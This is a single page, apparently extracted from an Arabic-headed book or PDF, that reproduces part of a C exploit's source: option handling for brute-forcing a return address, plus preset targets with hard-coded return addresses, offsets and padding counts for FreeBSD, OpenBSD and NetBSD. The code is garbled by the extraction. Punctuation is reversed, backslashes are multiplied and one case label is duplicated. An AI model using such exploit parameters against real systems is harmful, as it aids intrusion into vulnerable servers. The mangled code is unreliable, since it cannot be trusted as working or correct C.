Page 301 - بسم الله الرحمن الرحيم
        P. 301
     ;++bruteforce
                                               ;"\\\victim.type = \\\"Custom target
                                    ;(victim.retaddr = strtoul(optarg, NULL, 16
printf(\\\"Using 0x%lx as the baseadress while bruteforcing..\\\\n\\\",
                                                                          ;(victim.retaddr
                                                                                       ;break
                                                                                 :'\\case \\'d
                                                          ;(victim.delta = atoi(optarg
                            ;(printf(\\\"Using %d as delta\\\\n\\\", victim.delta
                                                                                       ;break
                                                                                 :'\\case \\'r
                                                  ;(victim.repretaddr = atoi(optarg
                 printf(\\\"Repeating the return address %d times\\\\n\\\",
                                                                     ;(victim.repretaddr
                                                                                       ;break
                                                                                 :'\\case \\'z
                                                      ;(victim.repzero = atoi(optarg
         ;(printf(\\\"Number of zeroes will be %d\\\\n\\\", victim.repzero
                                                                                       ;break
                                                                                 :'\\case \\'o
                                                                            ;++bruteforce
                                                                        } (switch(*optarg
                                                                                  :'\\case \\'f
                                                       ;"\\\victim.type = \\\"FreeBSD
                                                        ;victim.retaddr = 0x80a0000
                                                                     ;victim.delta = -150
                                                                 ;victim.repretaddr = 6
                                                                    ;victim.repzero = 36
                                                                                       ;break
                                                                                 :'\\case \\'o
                                                      ;"\\\victim.type = \\\"OpenBSD
                                                            ;victim.retaddr = 0x80000
                                                                     ;victim.delta = -146
                                                                 ;victim.repretaddr = 6
                                                                    ;victim.repzero = 36
                                                                                       ;break
                                                                                 :'\\case \\'n
                                                         ;"\\\victim.type = \\\"NetBSD
                                                       ;victim.retaddr = 0x080e0000
                                                                      ;victim.delta = -90
                                                                 ;victim.repretaddr = 5
                                                                    ;victim.repzero = 42
                                                                                       ;break
                                         301





